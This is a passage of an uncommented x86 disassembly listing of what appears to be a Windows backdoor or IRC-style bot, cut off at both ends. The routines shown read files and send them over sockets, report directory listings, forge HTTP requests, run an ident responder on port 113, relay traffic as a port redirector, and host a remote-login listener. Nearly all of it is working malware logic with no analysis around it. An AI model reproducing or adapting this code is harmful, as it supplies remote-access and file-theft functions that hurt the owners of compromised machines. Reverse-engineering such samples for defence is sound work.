[ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB684 ; send pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call dword_4270EC ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx call dword_427108 ; GetFileSize cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0+5Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx call dword_42711C ; SetFilePointer lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx call dword_4270E8 ; ReadFile push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CB684 ; send cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CB5C8 ; WSAGetLastError cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx call dword_427068 ; CloseHandle loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CB5A4 ; WSAStartup push 6 push 1 push 2 call dword_4CB6B4 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CB634 ; htons push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CB5DC ; connect cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset byte_43D7E8 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CB684 ; send push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CB64C ; recv pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB6CC ; closesocket call dword_4CB58C ; WSACleanup lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4101FC proc near ; DATA XREF: sub_401221+445o ; sub_401ACD+4369o var_238 = byte ptr -238h var_38 = byte ptr -38h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp+var_1C] push esi push eax mov [ebp+var_8], esi call sub_41B590 add esp, 0Ch mov [ebp+var_1C], 2 push 71h call dword_4CB634 ; htons push esi push 1 push 2 mov [ebp+var_1A], ax mov [ebp+var_18], esi call dword_4CB6B4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+arg_0] push edi imul eax, 234h mov dword_43E57C[eax], ebx lea eax, [ebp+var_1C] push eax push ebx call dword_4CB660 ; bind cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CB65C ; listen cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp+var_C], edi mov edi, 200h loc_410287: ; CODE XREF: sub_4101FC+EAj ; sub_4101FC+14Dj ... lea eax, [ebp+var_C] push eax lea eax, [ebp+var_2C] push eax push ebx call dword_4CB6C8 ; accept cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41035B movzx eax, [ebp+var_2A] push eax push [ebp+var_28] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_238] push offset dword_43465C push eax call sub_41B886 lea eax, [ebp+var_238] push eax call sub_4151AC add esp, 14h lea eax, [ebp+var_238] push esi push edi push eax push [ebp+var_4] call dword_4CB64C ; recv cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp+var_238] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp+var_38] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp+var_38] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp+var_238] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_238] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_238] push eax push [ebp+var_4] call dword_4CB684 ; send cmp eax, 0FFFFFFFFh jz loc_410287 mov [ebp+var_8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: sub_4101FC+A0j cmp [ebp+var_8], esi jnz short loc_410387 loc_410360: ; CODE XREF: sub_4101FC+47j ; sub_4101FC+6Bj ... call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_238] push offset dword_434618 push eax call sub_41B886 lea eax, [ebp+var_238] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: sub_4101FC+162j push ebx call dword_4CB6CC ; closesocket push [ebp+var_4] call dword_4CB6CC ; closesocket push [ebp+arg_0] call sub_40B412 pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_4101FC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4103AA proc near ; DATA XREF: sub_401ACD+613Bo var_350 = byte ptr -350h var_150 = byte ptr -150h var_14C = dword ptr -14Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_30 = dword ptr -30h var_28 = byte ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_150] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp+var_14] push esi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_44] call dword_4CB634 ; htons push 6 push 1 push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi mov [ebp+var_4], edi call dword_4CB6B4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_410516 mov ecx, [ebp+var_40] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43E57C[ecx], eax call dword_4CB544 ; WSAAsyncSelect lea eax, [ebp+var_14] push edi push eax push [ebp+arg_0] call dword_4CB660 ; bind test eax, eax jnz loc_410516 push 0Ah push [ebp+arg_0] call dword_4CB65C ; listen test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: sub_4103AA+C6j ; sub_4103AA+147j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_28] push eax push [ebp+arg_0] call dword_4CB6C8 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, [ebp+var_26] push [ebp+var_40] mov [ebp+var_14C], edi mov [ebp+var_30], esi push eax push [ebp+var_24] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_350] push offset unk_4346C4 push eax call sub_41B886 push edi lea eax, [ebp+var_350] push 18h push eax call sub_40B0F6 mov [ebp+var_3C], eax imul eax, 234h mov ecx, [ebp+var_40] add esp, 20h mov dword_43E574[eax], ecx lea eax, [ebp+var_18] push eax lea eax, [ebp+var_150] push esi push eax push offset sub_41053B push esi push esi call dword_42707C ; CreateThread mov ecx, [ebp+var_3C] imul ecx, 234h cmp eax, esi mov dword_43E584[ecx], eax jz short loc_410501 loc_4104EE: ; CODE XREF: sub_4103AA+155j cmp [ebp+var_30], esi jnz loc_41045A push 32h call dword_427078 ; Sleep jmp short loc_4104EE ; --------------------------------------------------------------------------- loc_410501: ; CODE XREF: sub_4103AA+142j call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_434688 call sub_415220 pop ecx pop ecx jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: sub_4103AA+63j ; sub_4103AA+97j ... mov edi, [ebp+arg_0] loc_410519: ; CODE XREF: sub_4103AA+16Aj push edi call dword_4CB6CC ; closesocket push [ebp+arg_0] call dword_4CB6CC ; closesocket push [ebp+var_40] call sub_40B412 pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi sub_4103AA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41053B proc near ; DATA XREF: sub_4103AA+124o var_1344 = byte ptr -1344h var_344 = byte ptr -344h var_144 = byte ptr -144h var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] push 1 pop ecx mov [ebp+var_4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CB6B4 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_4106F1 push 10h lea eax, [ebp+var_18] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_4CB634 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4CB674 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_4105CB lea eax, [ebp+var_13C] push eax call dword_4CB6B8 ; gethostbyname jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: sub_41053B+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4CB5EC ; gethostbyaddr loc_4105D9: ; CODE XREF: sub_41053B+8Ej cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_4CB5DC ; connect cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_43474C push eax call sub_41B886 push esi lea eax, [ebp+var_344] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_43E57C[ebx] mov dword_43E574[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43E580[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_410722 push edi push edi call dword_42707C ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_43E584[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: sub_41053B+15Dj cmp [ebp+var_20], edi jnz short loc_41069A push 32h call dword_427078 ; Sleep jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: sub_41053B+153j mov ebx, 1000h loc_41069F: ; CODE XREF: sub_41053B+19Fj push ebx lea eax, [ebp+var_1344] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4CB64C ; recv cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4CB684 ; send cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: sub_41053B+14Ej call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_43470C call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: sub_41053B+44j ; sub_41053B+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_43E57C[eax] call dword_4CB6CC ; closesocket push [ebp+arg_0] call dword_4CB6CC ; closesocket push [ebp+var_4] call sub_40B412 pop ecx push edi call dword_4270CC ; ExitThread pop edi pop esi pop ebx sub_41053B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410722 proc near ; DATA XREF: sub_41053B+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_14 = dword ptr -14h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: sub_410722+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_43E580[esi] call dword_4CB64C ; recv test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp+var_1128] push eax push dword_43E57C[esi] call dword_4CB684 ; send cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: sub_410722+61j push dword_43E580[esi] call dword_4CB6CC ; closesocket push [ebp+var_14] call sub_40B412 pop ecx push 0 call dword_4270CC ; ExitThread pop edi pop esi sub_410722 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4107BF proc near ; DATA XREF: sub_410A4D+1BEo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp+var_3D4] push 1 mov [ebp+var_C], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_43E57C[eax] xor edi, edi mov [ebp+var_8], edi mov [ebp+var_1F4], ebx mov eax, [esi] mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call dword_4CB61C ; select test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB6CC ; closesocket push [ebp+arg_0] call sub_40B412 pop ecx push edi call dword_4270CC ; ExitThread loc_410843: ; CODE XREF: sub_4107BF+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call dword_4CB64C ; recv lea eax, [ebp+var_2C] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call dword_4CB588 ; getpeername test eax, eax jz short loc_4108BC call dword_4CB5C8 ; WSAGetLastError push eax push offset unk_434824 call sub_415220 push [ebp+arg_0] call sub_40B412 add esp, 0Ch push edi call dword_4270CC ; ExitThread loc_4108BC: ; CODE XREF: sub_4107BF+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call dword_4CB5EC ; gethostbyaddr cmp eax, edi jnz short loc_4108E6 push [ebp+var_18] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_B0] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: sub_4107BF+10Dj push dword ptr [eax] lea eax, [ebp+var_B0] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: sub_4107BF+125j pop ecx pop ecx push edi push ebx push offset byte_43D7E8 push dword ptr [esi] call dword_4CB684 ; send cmp dword_4CE398, edi jnz short loc_410956 push [ebp+var_18] lea eax, [ebp+var_350] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CB684 ; send push dword ptr [esi] call dword_4CB6CC ; closesocket push [ebp+arg_0] call sub_40B412 pop ecx push edi call dword_4270CC ; ExitThread loc_410956: ; CODE XREF: sub_4107BF+14Cj ; sub_4107BF+16Dj lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_4347E8 call sub_415220 push [ebp+arg_0] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4347BC call sub_415220 push [ebp+arg_0] call sub_40B412 add esp, 0Ch push ebx call dword_4270CC ; ExitThread loc_41099D: ; CODE XREF: sub_4107BF+1B9j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset unk_434790 call sub_415220 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call dword_4270CC ; ExitThread sub_4107BF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: sub_4107BF+9Ap ; sub_4107BF+A7p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB64C ; recv cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CB64C ; recv cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434850 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: sub_4107BF+163p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset unk_43487C call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A4D proc near ; DATA XREF: sub_401ACD+23D4o var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] push 1 rep movsd pop edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call dword_4CB5A4 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_410AA6 push eax push offset unk_4349EC call sub_415220 push [ebp+var_4C] call sub_40B412 add esp, 0Ch push edi call dword_4270CC ; ExitThread loc_410AA6: ; CODE XREF: sub_410A4D+3Aj push edi push offset loc_410CCB call dword_427120 ; SetConsoleCtrlHandler test eax, eax jnz short loc_410ADF call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4349A8 call sub_415220 pop ecx pop ecx call dword_4CB58C ; WSACleanup push [ebp+var_4C] call sub_40B412 pop ecx push edi call dword_4270CC ; ExitThread loc_410ADF: ; CODE XREF: sub_410A4D+67j push ebx push 10h lea eax, [ebp+var_20] push esi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_20], 2 push [ebp+var_50] call dword_4CB634 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call dword_4CB6B4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410C56 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov dword_43E57C[eax], ebx lea eax, [ebp+var_20] push eax push ebx call dword_4CB660 ; bind test eax, eax jnz loc_410C56 push 7FFFFFFFh push ebx call dword_4CB65C ; listen test eax, eax jnz loc_410C56 push offset unk_43496C mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_4151AC pop ecx mov [ebp+arg_0], edi loc_410B6E: ; CODE XREF: sub_410A4D+15Aj ; sub_410A4D+1E4j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call dword_4CB6C8 ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_410C59 push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call dword_4CB614 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_410B6E movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call dword_4CB6C0 ; inet_ntoa push eax lea eax, [ebp+var_414] push offset unk_434928 push eax call sub_41B886 lea eax, [ebp+var_414] push eax call sub_4151AC push edi lea eax, [ebp+var_414] push 9 push eax call sub_40B0F6 mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov dword_43E574[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_4107BF lea eax, [ebp+var_10] push esi push eax call dword_42707C ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov dword_43E584[ecx], eax jz short loc_410C41 loc_410C2E: ; CODE XREF: sub_410A4D+1F2j cmp [ebp+var_38], esi jnz loc_410B6E push 32h call dword_427078 ; Sleep jmp short loc_410C2E ; --------------------------------------------------------------------------- loc_410C41: ; CODE XREF: sub_410A4D+1DFj call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_4348EC call sub_415220 pop ecx pop ecx jmp short loc_410C59 ; --------------------------------------------------------------------------- loc_410C56: ; CODE XREF: sub_410A4D+C8j ; sub_410A4D+ECj ... mov edi, [ebp+arg_0] loc_410C59: ; CODE XREF: sub_410A4D+13Cj ; sub_410A4D+207j call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+var_414] push offset unk_4348B4 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_3C], esi jnz short loc_410C99 push esi lea eax, [ebp+var_414] push [ebp+var_40] push eax lea eax, [ebp+var_210] push eax push [ebp+var_214] call sub_409A72 add esp, 14h loc_410C99: ; CODE XREF: sub_410A4D+22Aj lea eax, [ebp+var_414] push eax call sub_4151AC pop ecx push edi call dword_4CB6CC ; closesocket push ebx call dword_4CB6CC ; closesocket call dword_4CB58C ; WSACleanup push [ebp+var_4C] call sub_40B412 pop ecx push esi call dword_4270CC ; ExitThread pop ebx loc_410CCB: ; DATA XREF: sub_410A4D+5Ao xor eax, eax cmp [esp+5E0h+var_5DC], eax setz al retn sub_410A4D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CD5 proc near ; CODE XREF: sub_4107BF+1AFp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_410E26 imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_43E57C[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_42707C pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_410FF8 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_410D40 call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_434A4C call sub_415220 or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx pop ecx jmp short loc_410D7A ; --------------------------------------------------------------------------- loc_410D40: ; CODE XREF: sub_410CD5+50j lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_4110AA lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_410D81 call dword_42708C ; RtlGetLastWin32Error push eax push offset unk_434A4C call sub_415220 pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call dword_4270AC ; TerminateThread loc_410D7A: ; CODE XREF: sub_410CD5+69j xor eax, eax jmp loc_410E21 ; --------------------------------------------------------------------------- loc_410D81: ; CODE XREF: sub_410CD5+82j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call dword_427124 ; WaitForMultipleObjects sub eax, ebx jz short loc_410DDB dec eax jz short loc_410DD5 dec eax jz short loc_410DC1 call dword_42708C ; RtlGetLastWin32Error push eax push offset 